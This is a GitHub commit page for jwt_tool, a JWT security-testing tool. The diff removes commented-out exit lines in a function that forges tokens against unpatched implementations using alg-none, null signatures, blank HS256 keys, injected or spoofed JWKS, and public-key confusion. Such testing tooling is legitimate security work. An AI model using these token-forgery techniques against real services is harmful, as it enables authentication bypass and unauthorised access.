Skip to content

Commit

Permalink
v2.2.6
Browse files Browse the repository at this point in the history
[+] Fixed alg issue in prompt (thanks @jwutzke)
[+] Implemented a no-redirect option to avoid 301/302 ambiguous results (`-nr`/`--no-redirect`) (thanks @TheREK3R)
[+] Improved some JWKS/kid handling
[+] Fixed non-ASCII password issue on Playbook Scan
Bugfixes
  • Loading branch information
ticarpi committed Sep 9, 2022
1 parent 6aa8534 commit 0950b91
Showing 1 changed file with 0 additions and 6 deletions.
6 changes: 0 additions & 6 deletions jwt_tool.py
Original file line number Diff line number Diff line change
Expand Up @@ -1722,24 +1722,20 @@ def runExploits():
for noneTok in zippedToks:
desc = "EXPLOIT: "+zippedToks[noneTok]+" - this is an exploit targeting the debug feature that allows a token to have no signature\n(This will only be valid on unpatched implementations of JWT.)"
jwtOut(noneTok, "Exploit: "+zippedToks[noneTok], desc)
# exit(1)
elif args.exploit == "n":
jwtNull = checkNullSig(contents)
desc = "EXPLOIT: null signature\n(This will only be valid on unpatched implementations of JWT.)"
jwtOut(jwtNull, "Exploit: Null signature", desc)
# exit(1)
elif args.exploit == "b":
key = ""
newSig, newContents = signTokenHS(headDict, paylDict, key, 256)
jwtBlankPw = newContents+"."+newSig
desc = "EXPLOIT: Blank password accepted in signature\n(This will only be valid on unpatched implementations of JWT.)"
jwtOut(jwtBlankPw, "Exploit: Blank password accepted in signature", desc)
# exit(1)
elif args.exploit == "i":
newSig, newContents = jwksEmbed(headDict, paylDict)
desc = "EXPLOIT: injected JWKS\n(This will only be valid on unpatched implementations of JWT.)"
jwtOut(newContents+"."+newSig, "Injected JWKS", desc)
# exit(1)
elif args.exploit == "s":
if config['services']['jwksloc']:
jku = config['services']['jwksloc']
Expand All @@ -1750,7 +1746,6 @@ def runExploits():
cprintc("Paste this JWKS into a file at the following location before submitting token request: "+jku+"\n(JWKS file used: "+config['crypto']['jwks']+")\n"+str(config['crypto']['jwks'])+"", "cyan")
desc = "Signed with JWKS at "+jku
jwtOut(newContents+"."+newSig, "Spoof JWKS", desc)
# exit(1)
elif args.exploit == "k":
if config['crypto']['pubkey']:
newTok, newSig = checkPubKeyExploit(headDict, paylB64, config['crypto']['pubkey'])
Expand All @@ -1759,7 +1754,6 @@ def runExploits():
else:
cprintc("No Public Key provided (-pk)\n", "red")
parser.print_usage()
# exit(1)

def runActions():
if args.tamper:
Expand Down

0 comments on commit 0950b91

Please sign in to comment.